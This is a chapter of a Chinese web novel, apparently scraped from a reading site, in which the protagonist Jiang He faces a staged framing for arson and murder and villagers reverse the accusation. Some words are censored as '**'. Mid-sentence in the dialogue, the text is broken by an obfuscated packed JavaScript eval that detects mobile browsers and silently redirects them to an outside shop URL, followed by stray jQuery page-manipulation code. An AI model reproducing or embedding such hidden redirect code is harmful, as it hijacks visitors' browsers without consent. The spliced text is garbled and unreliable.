第234章 众口铄金,反向污蔑

作品:《穿越成渣爹,开局得签到系统

    江河看着站在他面前,指着他的鼻子不断叫嚣的江达,还有拿着**,悄然躲到那个兵卒首领身后的江贤,险些都被气笑了。


    这兄弟两个,果然是一个精明似猴,一个蠢笨如猪。


    江达这厮明显是不知道栽赃陷害这件事情的,所以他才会表现得这般兴奋自然,还以为自己抓到了真凶,立了大功。


    甚至……都已经在幻想着回去之后,能得到县尊老爷的青睐与重用了。


    只是,他难道就没有想过,如果他江河真的是纵火烧了雷家宅院,甚至还杀了雷老虎满门的那个凶手——


    那么,他现在这般嚣张得意、没有丝毫防备的站在一个身上背了几十条人命的**凶手跟前,随时都有可能会丧命吗?


    看看人家江贤多精明,早早地就躲在了那个周什长的身后,仿佛已经提前预料到,他江某人会发飙一样。


    只是这小子也是凉薄得很,明知道他们的栽赃陷害会触怒到他这个当事人,竟然没有提前跟自己的亲弟弟打声招呼,就那样眼睁睁地看着江达在这里犯蠢蹦哒。


    这是想要做什么?


    以自己的亲弟弟为饵,来引诱他江某人在暴怒中动手伤人,给对面这些兵卒出手的机会吗?


    这小兔崽子,难道是想要借机**灭口,以拒捕行凶为由,将他直接斩杀,彻底坐实了他是雷家纵火、灭门案真凶的名头?


    想到此,江河不由微微眯起了双眼。


    这种可能性不但有,而且还很高。


    就是不知道这是江贤自己的主意,还是那个一直没有过来的总捕头的意思。


    江河阴沉的目光在江贤和周通二人的身上扫过,最后落在江达那张还在兴奋叫嚣的脸上。


    这个蠢货,直到现在都还没意识到,他已经被自己的亲哥当成了弃子,还在这里洋洋自得呢。


    简直是已经蠢到不可救药了。


    这样的脑子,真不知道他当初是怎么才上童生的。


    “江河!你哑巴了?!”


    江达见江河不吭声,还以为是他心虚了,不由越发得意。


    “我告诉你,今天这可是人赃并获,你跑不掉了!识相的就自己认罪自缚,免得一会儿会受皮肉之苦!”


    他说着,身子还往前凑了两步,手指几乎要戳到江河的鼻尖。


    江河没有动。


    他只是静静地看着江达。


    眼中带着一丝毫不遮掩的嘲弄与讥讽,看得江达不由一阵羞怒,抬起手来就想要给江河一个大嘴巴。


    “江达,如果我是你,我现在就不会这么傻缺的离一个**犯这么近,更不会傻到去触怒甚至主动出手去打对方。”


    江河这时突然淡声开口向江达提醒道:


    “如果我真的是制造雷家纵火、灭门案的凶手,你觉得我的身份被揭穿后,我会不会老老实实的站在这里任你羞辱,不做丝毫反抗的认罪伏法?”


    “看在你叫过我这么多年大伯的份儿,我不得不提醒你一句,你丫可长点儿心吧!”


    “回头看看你的好大哥现在在哪里?”


    “你猜,他现在为什么要躲在那个周什长的身后,又为什么没有提前跟你招呼一声,而是任由你这样傻拉吧唧的在我的跟前叫嚣?”


    江达闻言,身形不由一僵,下意识地就顿住了刚刚抬起的手臂。


    直到此刻,他才后知后觉的意识到,眼前这个人已经不是以前那个对他们百依百顺、言听计从的窝囊大伯了。


    如果江河真的是灭了雷家满门的凶手,那他现在这样在江河跟前的不断挑衅叫骂,简直就是在找死啊!


    退一步来讲。


    如果江河不是那个真凶,那就是大哥与周通在联合起来栽赃陷害江河。


    如此一来,知道自己被栽赃陷害了的江河,必然不会乖乖认罪,仍然会愤而出手。


    而此时就站在江河跟前,距离江河如此之近的他,岂不是就成了江河最好的发泄对象?


    大哥这是要害我?!


    意识到这一点后,江达忍不住回头看了一眼。


    果然!


    一切都中江河所言,他的好大哥此刻正躲在周通的身后,一脸紧张与期待地盯着这边。


    兄弟二人的目光在空中交汇。


    江贤飞快地移开了视线。


    江达心里则咯噔一下,整个人都如坠冰窟。


    大哥那眼神……明显是心虚了!


    他竟然真的是这么想的!


    此时,见江河迟迟没有动手的迹象,周通有些等不及了,直接开口向江贤说道:


    “江大人,不用再跟他废什么话了,**是从他家搜出来的,他就是凶手无疑!先抓起来再说!”


    江贤也意识到他的谋算可能已经**河给看破了,甚至就连他那个傻弟弟都开始怀疑他的动机了,遂不再有任何犹豫,直接点头同意了周通的提议。


    得到了江贤的首肯,周通再不犹豫,大手一挥:“来人!把江河给我拿下!”


    身后的兵卒们早就等着这一声令下,立刻抽出腰间的长刀就要冲上前去。


    “住手!”


    这时,一声厉喝从院门外传来,却是江天、**得了消息,带着老族长、里正公,还有村里的几十名巡逻队员从外面赶了回来。


    “让开让开!都给我让开!”


    江天、**挤开不知何时已经聚在院门外的人群,快步冲进院子。


    看到院中一片狼藉,自家的几个孩子甚至都被吓哭了。


    更重要的是,他们的老爹还被一群兵卒拎刀围着,一副想要群起而攻的架势。


    江天和**的眼睛瞬间红了。


    “欺人太甚!!”


    “江贤、江达你们两个混账东西!昨天来搜过一次还嫌不够,今天又来?你们真当我江家好欺负,没完没了是吧?”


    江天一声怒吼,径直冲上去,一拳砸在了站在江河跟前的江达脸上。


    江达惨叫一声,踉跄后退。


    他怎么也没想到,自己终归还是没有躲过这一劫。


    江河刚刚虽然没有出手,可他还是挨了江天一记重拳,感觉嘴里的两排牙齿都被打松了。


    **本想趁机也给江贤那个坏种来一下的,只是江贤一直躲在周通的身后,他一时没有找到机会,只得贴身护到老爹身前,怒视着江贤、江达还有周围的一众兵丁。


    兄弟二人脸上没有丝毫惧意,一副谁敢再欺负他们,他们就敢跟对方玩命的疯狂姿态。


    江达捂着脸,满嘴是血,不过却再不敢胡乱叫嚣,跟受了惊的兔子似的,赶紧小跑着退到了周通等人的身后,然后一脸幽怨甚至愤恨的看向自己的大哥。


    江贤没敢跟他对视,见江家的人终于动手**了,便趁机跳出身来,高声叫嚷道:


    “真是反了天了!你们竟敢暴力拒捕!来人啊!把他们抓起来!全都抓起来!若是谁再


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204399|193410||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    敢反抗,直接就地格杀!”


    这一刻,江贤终于显露出了他的阴毒本性。


    他就是想要趁着这个机会,直接将江河斩杀在当场,不给江河半点儿辩解甚至反抗的机会。


    “住手!我看谁敢!”


    一声苍老却不失威严的怒喝自人群中发出,王德顺拄着拐杖,在王冶山的搀扶下走上前来。


    他们身后,不但跟着本有的几十名巡逻队员,还有数以百计手持锄头、木棍的村中青壮。


    这些村民一个个如怒目金刚,一进来就将江贤、江达、周通及那些手持刀剑的兵卒团团围住。


    原本准备趁机将江河父子直接拿下的周通等人,瞬时僵在了原地,不敢再轻举妄动。


    王德顺缓步走到江河的身边,冲江河微点了点头后,便直接转身看向江贤、江达与周通等人,一改之前的唯诺姿态,厉声向几人质问道:


    “江贤、江达,还有几位官爷,你们这又是刀又是剑的,到底想要做什么?”


    江贤冷笑:“老族长,我们正在捉拿凶犯,你现在这般跳出来,可是想要包庇江河这个**真凶吗?”


    “**真凶?江河?”


    王德顺轻撇了下嘴,想都没想就直接摇头道:


    “少在这里瞎扯淡了,别以为老夫不知道你们想要做什么,不就是抓不到真正的**凶手,便想要随便找个人来顶罪么?”


    “老夫把话撂在这儿,你们想要找人顶罪,外面的流民多的是,你们休想把主意打到我下河村的村民身上!”


    江贤面上的神色微变,不过还是定声开口说道:


    “老族长莫要胡言,我们有真凭实据可以证明江河就是雷家灭门案的真凶,不信你看这把沾了血的**,就是刚刚从江河的屋里搜出来的!”


    说着,江贤抬手晃了晃一直被他握在手中的**,继续往江河身上泼脏水。


    却不料,王德顺只是轻瞥了一眼那把**,就直接开口道:


    “这把**不是这位周什长昨天带在身上的那一把么,怎么就成了江河的了?”


    “江贤,还有这位周什长,你们就算是想要栽赃陷害,想要冤枉好人,也麻烦你们用点儿心好不好,真当我们这些人全都是瞎子,会看不出来吗?”


    王德顺话音一落,聚拢在他身后的百十号村民,几乎同时点头附和道:


    “对!老族长说得一点儿没错,这把**我也见过!”


    “就是,昨天周什长进村的第一时间,我就看到他别在腰间的这把**了!”


    “何止呢,昨天装粮的时候,我还看到周什长用这把**割开粮袋验粮呢,绝对不会有错!”


    “……”


    众人你一言我一语,硬生生地把这把**说成了是周通的随身之物。


    气得周通满面通红,浑身都在忍不住的颤抖。


    万没想到,这些村民竟然会这么不要脸,明目张胆地在这里指鹿为马、颠倒黑白。


    他周某人的身上,什么时候携带过**了?


    这把**明明就总捕头暗地里让人交给他的!


    他张嘴想要反驳,可他一人一张嘴,如何是对面一百多张嘴的对手?


    从头到尾,他根本就没有开口说话的机会。


    最后,纵使他逮到机会说这**不是他的,周围围观的那些村民,却是也再不相信了。


    什么是众口铄金?


    这特么就是啊!